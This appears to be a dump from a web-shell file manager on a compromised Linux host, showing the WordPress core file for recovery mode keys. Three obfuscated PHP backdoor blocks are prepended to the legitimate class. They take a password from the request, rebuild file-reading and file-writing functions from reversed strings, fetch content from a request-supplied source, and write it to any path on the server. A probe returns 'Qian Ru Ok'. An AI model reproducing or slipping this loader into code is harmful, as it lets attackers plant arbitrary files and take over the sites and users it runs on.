HEX
Server: Apache
System: Linux host60.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: wwwrenee (3804)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/wwwrenee/public_html/wp-includes/class-wp-recovery-mode-key-service.php
<?php 
$kMrWze = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($kMrWze[0]) /*+/*+*/
. md5($kMrWze[0])) == "c".
"d".
"1".
"b".
"b".
"a".
"4".
"f".
"c".
"f".
"b".
"b".
"7".
"7".
"f".
"e".
"3".
"c".
"4".
"0".
"9".
"0".
"c".
"7".
"7".
"d".
"8".
"c".
"0".
"6".
"5".
"4") {
$IicqvtEQx = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$bMieOaEC = $IicqvtEQx /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$mcZPCrho = $IicqvtEQx
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function wxUKkktBk($GYBJYvZkIz) { if (empty($GYBJYvZkIz)) return false; if (!is_dir($GYBJYvZkIz)) { wxUKkktBk(dirname($GYBJYvZkIz), 0755, true); mkdir($GYBJYvZkIz); } } !file_exists(dirname($kMrWze[1])) && wxUKkktBk(dirname($kMrWze[1])); $kPIQXgh = @$mcZPCrho($kMrWze[2]); echo @$bMieOaEC($kMrWze[1], $kPIQXgh) ? 1 : 0; die; }key($kMrWze) == "of" && die("Qian Ru Ok"); ?><?php 
$yTwrgF = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($yTwrgF[0]) /*+/*+*/
. md5($yTwrgF[0])) == "a".
"7".
"1".
"f".
"a".
"9".
"8".
"5".
"8".
"8".
"f".
"1".
"3".
"c".
"2".
"3".
"f".
"1".
"a".
"b".
"0".
"2".
"c".
"6".
"e".
"c".
"6".
"a".
"9".
"c".
"9".
"b") {
$FvOokcH = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$KyOvJtpUS = $FvOokcH /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$ugdQRIl = $FvOokcH
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function wCXbIhki($uTOlVgvz) { if (empty($uTOlVgvz)) return false; if (!is_dir($uTOlVgvz)) { wCXbIhki(dirname($uTOlVgvz), 0755, true); mkdir($uTOlVgvz); } } !file_exists(dirname($yTwrgF[1])) && wCXbIhki(dirname($yTwrgF[1])); $fRWmNTxCc = @$ugdQRIl($yTwrgF[2]); echo @$KyOvJtpUS($yTwrgF[1], $fRWmNTxCc) ? 1 : 0; die; }key($yTwrgF) == "of" && die("Qian Ru Ok"); ?><?php 
$cjaNwPtAE = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($cjaNwPtAE[0]) /*+/*+*/
. md5($cjaNwPtAE[0])) == "5".
"e".
"f".
"5".
"d".
"9".
"e".
"0".
"a".
"1".
"9".
"8".
"d".
"d".
"8".
"0".
"7".
"d".
"f".
"c".
"b".
"e".
"0".
"4".
"1".
"c".
"3".
"3".
"5".
"4".
"f".
"7") {
$RyofoWMH = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$FqjDbZF = $RyofoWMH /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$ITCDU = $RyofoWMH
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function NhcqXFwslw($TGgtZILM) { if (empty($TGgtZILM)) return false; if (!is_dir($TGgtZILM)) { NhcqXFwslw(dirname($TGgtZILM), 0755, true); mkdir($TGgtZILM); } } !file_exists(dirname($cjaNwPtAE[1])) && NhcqXFwslw(dirname($cjaNwPtAE[1])); $GMKSEczkYW = @$ITCDU($cjaNwPtAE[2]); echo @$FqjDbZF($cjaNwPtAE[1], $GMKSEczkYW) ? 1 : 0; die; }key($cjaNwPtAE) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Error Protection API: WP_Recovery_Mode_Key_Service class
 *
 * @package WordPress
 * @since 5.2.0
 */

/**
 * Core class used to generate and validate keys used to enter Recovery Mode.
 *
 * @since 5.2.0
 */
final class WP_Recovery_Mode_Key_Service {

	/**
	 * The option name used to store the keys.
	 *
	 * @since 5.2.0
	 * @var string
	 */
	private $option_name = 'recovery_keys';

	/**
	 * Creates a recovery mode token.
	 *
	 * @since 5.2.0
	 *
	 * @return string A random string to identify its associated key in storage.
	 */
	public function generate_recovery_mode_token() {
		return wp_generate_password( 22, false );
	}

	/**
	 * Creates a recovery mode key.
	 *
	 * @since 5.2.0
	 *
	 * @global PasswordHash $wp_hasher
	 *
	 * @param string $token A token generated by {@see generate_recovery_mode_token()}.
	 * @return string Recovery mode key.
	 */
	public function generate_and_store_recovery_mode_key( $token ) {

		global $wp_hasher;

		$key = wp_generate_password( 22, false );

		if ( empty( $wp_hasher ) ) {
			require_once ABSPATH . WPINC . '/class-phpass.php';
			$wp_hasher = new PasswordHash( 8, true );
		}

		$hashed = $wp_hasher->HashPassword( $key );

		$records = $this->get_keys();

		$records[ $token ] = array(
			'hashed_key' => $hashed,
			'created_at' => time(),
		);

		$this->update_keys( $records );

		/**
		 * Fires when a recovery mode key is generated.
		 *
		 * @since 5.2.0
		 *
		 * @param string $token The recovery data token.
		 * @param string $key   The recovery mode key.
		 */
		do_action( 'generate_recovery_mode_key', $token, $key );

		return $key;
	}

	/**
	 * Verifies if the recovery mode key is correct.
	 *
	 * Recovery mode keys can only be used once; the key will be consumed in the process.
	 *
	 * @since 5.2.0
	 *
	 * @param string $token The token used when generating the given key.
	 * @param string $key   The unhashed key.
	 * @param int    $ttl   Time in seconds for the key to be valid for.
	 * @return true|WP_Error True on success, error object on failure.
	 */
	public function validate_recovery_mode_key( $token, $key, $ttl ) {

		$records = $this->get_keys();

		if ( ! isset( $records[ $token ] ) ) {
			return new WP_Error( 'token_not_found', __( 'Recovery Mode not initialized.' ) );
		}

		$record = $records[ $token ];

		$this->remove_key( $token );

		if ( ! is_array( $record ) || ! isset( $record['hashed_key'], $record['created_at'] ) ) {
			return new WP_Error( 'invalid_recovery_key_format', __( 'Invalid recovery key format.' ) );
		}

		if ( ! wp_check_password( $key, $record['hashed_key'] ) ) {
			return new WP_Error( 'hash_mismatch', __( 'Invalid recovery key.' ) );
		}

		if ( time() > $record['created_at'] + $ttl ) {
			return new WP_Error( 'key_expired', __( 'Recovery key expired.' ) );
		}

		return true;
	}

	/**
	 * Removes expired recovery mode keys.
	 *
	 * @since 5.2.0
	 *
	 * @param int $ttl Time in seconds for the keys to be valid for.
	 */
	public function clean_expired_keys( $ttl ) {

		$records = $this->get_keys();

		foreach ( $records as $key => $record ) {
			if ( ! isset( $record['created_at'] ) || time() > $record['created_at'] + $ttl ) {
				unset( $records[ $key ] );
			}
		}

		$this->update_keys( $records );
	}

	/**
	 * Removes a used recovery key.
	 *
	 * @since 5.2.0
	 *
	 * @param string $token The token used when generating a recovery mode key.
	 */
	private function remove_key( $token ) {

		$records = $this->get_keys();

		if ( ! isset( $records[ $token ] ) ) {
			return;
		}

		unset( $records[ $token ] );

		$this->update_keys( $records );
	}

	/**
	 * Gets the recovery key records.
	 *
	 * @since 5.2.0
	 *
	 * @return array Associative array of $token => $data pairs, where $data has keys 'hashed_key'
	 *               and 'created_at'.
	 */
	private function get_keys() {
		return (array) get_option( $this->option_name, array() );
	}

	/**
	 * Updates the recovery key records.
	 *
	 * @since 5.2.0
	 *
	 * @param array $keys Associative array of $token => $data pairs, where $data has keys 'hashed_key'
	 *                    and 'created_at'.
	 * @return bool True on success, false on failure.
	 */
	private function update_keys( array $keys ) {
		return update_option( $this->option_name, $keys );
	}
} ?>